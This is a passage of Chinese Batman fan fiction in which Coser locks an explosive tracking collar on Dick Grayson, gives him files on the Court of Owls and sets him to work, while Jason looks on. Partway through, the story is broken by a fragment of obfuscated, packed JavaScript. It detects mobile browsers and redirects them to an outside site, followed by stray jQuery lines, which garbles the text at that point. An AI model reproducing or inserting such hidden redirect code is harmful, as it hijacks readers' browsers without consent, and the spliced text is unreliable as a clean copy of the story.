Coser看着眼前吵得像是回到了韦恩庄园餐桌旁的两人，血色的眼眸里闪过一丝无奈。他出声打断了两只小鸟的吵闹：“好啦，以后有足够的时间交流。”


    杰森立刻闭上了嘴，只是还不忘狠狠瞪了迪克一眼。迪克也摊摊手，做了个无辜的表情，但眼神深处依旧带着审视。


    Coser走向一个看起来像是装饰品的金属柜，输入密码打开，从里面取出了一个东西——那是一个黑色哑光的金属项圈，中间嵌着一小块不起眼的黑色晶体。


    看到这个项圈，杰森脸上瞬间露出了毫不掩饰的幸灾乐祸的笑容，他抱着手臂，斜倚在墙上，一副看好戏的样子。


    Coser拿着那只黑色项圈，缓步走向迪克。他的步伐带着一种从容的压迫感，如同主人走向自己豢养的雀鸟。迪克脸上的轻松笑容渐渐收敛，他站在原地，没有后退，但全身的肌肉都微微绷紧，湛蓝的眼睛紧紧盯着Coser手中的东西，以及那双与自己相同、却冰冷得多的血色眼眸。


    “一个小小的保险措施。”他的声音很轻，几乎像在耳语，“为了确保我们新小鸟的工作范围，暂时仅限于冰山餐厅。”


    迪克的喉结不易察觉地滚动了一下，他扯了扯嘴角：“哇哦，这可真是……别致的欢迎礼物。我能问问这是什么吗？”


    “微型高爆炸///药，结合定位和生命体征监测。”Coser回答得直白，他抬起手，将项圈展示在迪克眼前，“只要离开冰山餐厅的范围，或者你的生命信号消失……‘砰’。” 他轻轻吐出一个拟声词，血色的眼眸里没有任何情绪，仿佛在陈述一个再普通不过的事实。


    Coser抬手，冰凉的金属环贴上皮肤，激起一阵细微的战栗。他的指尖若有似无地擦过迪克的喉结，动作轻柔得像是在抚慰。


    “现在，低头。”他低声说，气息拂过迪克的耳廓。


    迪克沉默地与他对视了两秒，空气仿佛凝固了。他能感觉到旁边杰森看好戏的目光，也能感受到后颈处那只手上柔和却不容反抗的力道。


    最终，迪克闭了闭眼，缓缓低下了头。


    冰凉的金属项圈在迪克温热的后颈合拢，带来一阵战栗。咔哒一声轻响，卡扣合拢，严丝合缝。Coser的手指在项圈侧面某个隐蔽的接口轻轻按了一下，那黑色晶石亮了一下，随即便熄灭，恢复沉寂。


    一个简单卡扣声后，一个自由的灵魂被套上了枷锁。


    冰冷的套索绞紧了脖颈，迪克全身紧绷，下意识便要向后退。


    “别动。”coser轻轻说了一句，不像是命令，反而像是一句叮嘱。他一手轻轻托起迪克的下颌，另一手为微微调整项圈的位置，让它更加服帖舒适。


    退后一步看了看，coser从自己的外套上取下一个蝙蝠状的胸花，略微改了改卡扣，将这个黑色的小蝙蝠吊在项圈下。


    这样一来，原本黑色的项圈便更像是一个哥特风的choker。


    “这是什么新的游戏吗？”迪克伸手戳了戳充当吊坠的小蝙蝠，眼神清澈又困惑。


    当然是XP啊！


    这是能说的吗？


    Coser看了他一眼：“尽可能为你减少麻烦。我是需要你工作，不是为了折磨人——我没有这个爱好。”


    “需要我说谢谢吗？”迪克挑眉，语气微妙。


    Coser就像是一个听不懂人话的伪人，点点头道：“嗯，这是你应该做的。”


    迪克：？？？


    杰森嘎嘎笑出了声。


    “好吧，谢谢。”迪克无视了杰森的怪笑，竟真的向coser道了谢。他湛蓝的眼睛透彻又真诚，看不出丝毫勉强。


    这坦然的道谢反而让Coser的目光在他脸上停顿了一瞬，他能看到迪克的顺从，更能看到他眼底那片翻涌的蓝色海洋，从未真正平息。


    Coser收回目光，从抽提里拿出一叠厚厚的文件，递给了迪克。


    迪克摸了摸脖子上冰冷的金属环，深吸一口气，接过文件，翻看了几眼，脸上露出惊讶：“猫头鹰法庭的资料？你就这么把它交给我了？”


    Coser反问：“不是你说要加入的吗？不让你知情，你要怎么开始工作？”


    迪克沉默了一下，似乎在消化这个信息，然后带着点好奇道：“……我以为会有什么更直接的‘考验’，比如说，让我去暗杀个什么人之类的……”


    “我不知道你还有这种爱好，”Coser战术后仰，那眼神仿佛在说“小小年纪杀心这么重，真是人不可貌相”，他顿了顿，犹犹豫豫地开口道，“你要是想做，我也可以给你重新安排。”


    “不了，谢谢。”迪克立刻拒绝，表情有些微妙，“就是和我知道的一般犯罪组织有些出入。”


    “所以我不是一般人。”coser继续道，“我不喜欢强迫别人那没有什么意义。想保护的人去保护，想战斗的去战斗……被迫做某事和自愿去做的效果是天壤之别。”


    迪克看着他，似乎在判断这番话的真伪，最后点了点头：“好吧，那我的具体工作是什么？”


    “你刚才也看到了，我需要对付的是猫头鹰法庭，我想你听过他们的名字。”Coser说。


    “我不知道他们竟然是真的存在……”迪克眉头紧皱，一页一页翻阅手中的档案，“我以为那只是哥谭用来吓唬小孩的黑暗童谣。”


    “一群贪得无厌的蛀虫，趴在哥谭百姓身上吸血吸到脑满肠肥。”Coser冷笑一声，语气里是毫不掩饰的厌恶，“我这里有一位‘客人’的供述，猫头鹰法庭正在幕后推动，意图推选一位新的市长上台，和韦恩集团打擂台。因为布鲁斯·韦恩帮扶骑士团慈善项目的行为，阻挠了他们之前对阿卡姆骑士的舆论和法律围剿。”


    迪克的表情瞬间严肃了起来，作为曾经的城市守护者，他立刻意识到了问题的严重性：“这是真的吗？”


    “我也不知道，”Coser坦然道，“这只是单方面的口供，需要验证。但空穴来风，未必无因。”


    迪克紧紧盯着他：“你为什么告诉我这个？”


    “我不喜欢现在这位市长的一些做法，”Coser回答，“但他现在正深陷与韦恩集团的官司泥潭，能动用的资源有限，暂时对我们形不成太大威胁。我不希望在这个关头，换上一个被猫头鹰法庭操控、精力充沛的新市长来给骑士团找麻烦。” 他顿了顿，意味深长地看着迪克，“如果蝙蝠侠能‘恰好’获悉这个消息，并‘恰好’保护了现任市长，对我们双方来说，似乎也不是什么坏事，对吗？”


    迪克与他对视着，明白了这是对方给予的第一次合作机会，也是一个测试。他缓缓点头，语气郑重：“我明白了。我会把情况告诉蝙蝠侠。”


    Coser对于迪克的识趣似乎并不意外，他只是淡淡地点了点头，血色的眼眸扫过迪克脖颈上那个冰冷的金属环，最后定格在他那双与自己相似、却明朗如晴空的蓝色眼睛上。


    “很好。”Coser的声音依旧平稳，“那么，你的‘工作’就从现在开始。这些资料，”他指了指迪克手中的文件，“足够你消化一阵子了。里面有法庭疑似成员的名单、他们可能控制的产业，以及一些……不太愉快的‘秘闻’。我需要你尽快熟悉他们的关系网络。”


    迪克掂量了一下手中文件的重量，感觉它沉甸甸的，仿佛里面装着的不是纸张，而是百年沉积的黑暗。迪克凝重道：“我会仔细看的。”


    “你的活动范围是顶层，”Coser重申了规则，语气不容置疑，“这里有你需要的一切。食物、水、洗浴、基础的娱乐健身设施……”他意味深长地看了一眼迪克脖子上的项圈，“为了你自己的安全，小心点，不要去一些有信号屏蔽的地方。”


    杰森在一旁，终于从看好戏的状态中稍微收敛了一点，但他抱着胳膊的姿态和微微上扬的嘴角，依然显示着他的愉悦。他冲着迪克扬了扬下巴，语气带着点恶劣的调侃：“欢迎加入犯罪分子，义警。”


    迪克耸耸肩：“从某种意义上来说，义警也是犯罪分子。”


    杰森被他噎了一下，哼了一声别过头去，不接话了。


    Coser摇摇头，没有理会两人之间幼稚的斗嘴，他转身走向客厅那个占据了一半巨大沙发床，动手开始收拾铺满了沙发的毛球抱枕。“杰森，给迪克找个被子。”他吩咐道，算是为今晚的闹剧画上了句号。


    “让迪基鸟睡地上好了，他喜欢睡地板。”杰森站在一旁睁着眼睛说瞎话。


    “事实上，我还是挺喜欢睡床的。”迪克诚恳地看向coser，“要不我还是去找间客房睡吧，我不介意单独睡一张床。”


    “少做梦了。”杰森毫不留情地拒绝了，动作利落地抱出一床被子扔到沙发上，“我大发慈悲，给你留一个角落。晚上可别乱跑，迪基鸟，不然我不保证会不会有‘意外’发生。”他意有所指地瞥了一眼迪克脖子上的项圈。


    “我没那么傻。”迪克接过被子，“谢了，杰伊。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478974|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >杰森哼了一声，没再理会迪克，像一颗炮弹似的砸向coser刚刚铺好的沙发上。优质的弹簧还将这个超大只的红鸟往上弹了弹，让他落进一大堆堆在一起的毛茸茸的抱枕里。柔软的触感让杰森下意识打了个滚，滚到coser腿边。


    “杰伊……”coser伸手将和毛球混在一起的大红鸟提出来，放到一边，“我刚收拾好……”


    “别管了，先睡觉。”杰森伸手一用力将coser拉倒在沙发上。


    Coser被他拉倒在绒球里，偏头就能看到小浣熊闪亮的眼睛。


    “好吧。”coser意志不坚，秉持着在哪里倒下就在哪里躺着的原则，就这么懒懒散散地窝进毛茸茸里。


    Coser又看了看正拿着资料、眼神复杂地看着他们的迪克，向他发出邀请：“不过来吗？”


    迪克犹豫了。


    眼前的景象透着一种怪异的温馨。


    杰森几乎整个人都陷在柔软的抱枕里，紧挨着Coser，像一只找到了巢穴、全然放松的幼兽，正打量着他。而那个危险的吸血鬼，此刻血色的眼眸在暖光下敛去了锐利，只剩下迷蒙的雾，静静地看着他。


    这让迪克的内心纠结了起来。


    一方面，他能看出杰森没有被虐待，没有遭受想象中的折磨，他甚至看起来……被照顾得很好。这种肉眼可见的“安宁”，远比迪克预想中最坏的情况要好上千百倍。看到杰森能这样毫无防备地沉睡，作为兄长，他揪紧的心稍微松动了一丝。


    但另一方面，一股更深的寒意随之涌上。迪克又深深的明白，这种“安宁”是需要杰森付出代价的。杰森越是沉浸在这种虚假的温情里，就越容易被蒙蔽，在这条不归路上陷得越深，最终可能无法回头。


    这比直接的暴力控制更可怕，因为它腐蚀的是意志和判断。


    而最让迪克感到恐惧的是——他，理查德·格雷森，竟然隐隐开始觉得，这个“瑞秋·格雷”或许……并不像他最初认定的那样，是一个纯粹行恶的怪物。


    这种认知上的动摇让迪克不寒而栗。他害怕自己会被这种表象迷惑，害怕自己会下意识地为对方找借口，从而放松警惕，甚至……在某个瞬间，产生一丝不该有的念头。


    这太危险了！


    不要靠近，理查德，不要相信他！


    迪克对自己说。


    最终，迪克还是抱着被子和文件走了过去。他没有选择紧挨着两人，而是在长沙发的另一端，寻了个空位坐了下来，将被子堆在身侧，形成了一个相对独立的区域。他需要抵御内心那份不该萌生的倾向。


    “放心，”Coser似乎看穿了他的紧绷，闭着眼睛，声音带着一丝倦意，“项圈的触发器没那么敏感，不会因为翻个身就爆炸。只要你不试图离开，或者摘掉它，你就是安全的。”


    迪克低低地“嗯”了一声，没有多解释。他翻开手中的文件，借着沙发旁落地灯柔和的光线，试图将注意力集中在关于猫头鹰法庭的骇人秘闻上。


    然而，那些冰冷的文字此刻却难以进入他的大脑。


    杰森瞥了迪克一眼，似乎想说什么，但最终只是往Coser那边又缩了缩，打了个哈欠，嘟囔了一句：“别看太晚。” 然后便闭上了眼睛，呼吸逐渐变得平稳悠长。


    Coser似乎也很快睡着了，他维持着侧躺的姿势，一只手还无意识地搭在杰森的背上。


    迪克看着手中的资料，却一个字也读不进去。他的目光不由自主地飘向沙发另一端。杰森的睡颜安稳，瑞秋背对着他，姿态放松。在朦胧的灯光下，这甚至像一幅温馨的油画。


    这个念头让迪克猛地打了个寒颤。


    他用力掐了自己的掌心一下，疼痛让他清醒了几分。


    不，不能这样。


    迪克提醒自己。


    无论表象如何，本质不会改变。瑞秋·格雷是一个掌控欲极强的危险分子，他的目标是颠覆哥谭，而杰森是他计划中的重要棋子。这份所谓的“温情”，不过是操控手段的一部分，是包裹着糖衣的致命毒药。


    必须保持警惕；


    必须牢记自己的立场和目的。


    迪克轻轻摸了摸脖子上的项圈，冰冷的触感刺痛着皮肤，也刺痛着他的神经，好像的确让他清醒一些了。


    迪克垂下眼眸，继续浏览手里的资料，将精力投入工作。


    黑暗中，另一双相同的红色眼眸也无声无息的睁开，静静地注视着墙壁上拿到低头阅读的倒影。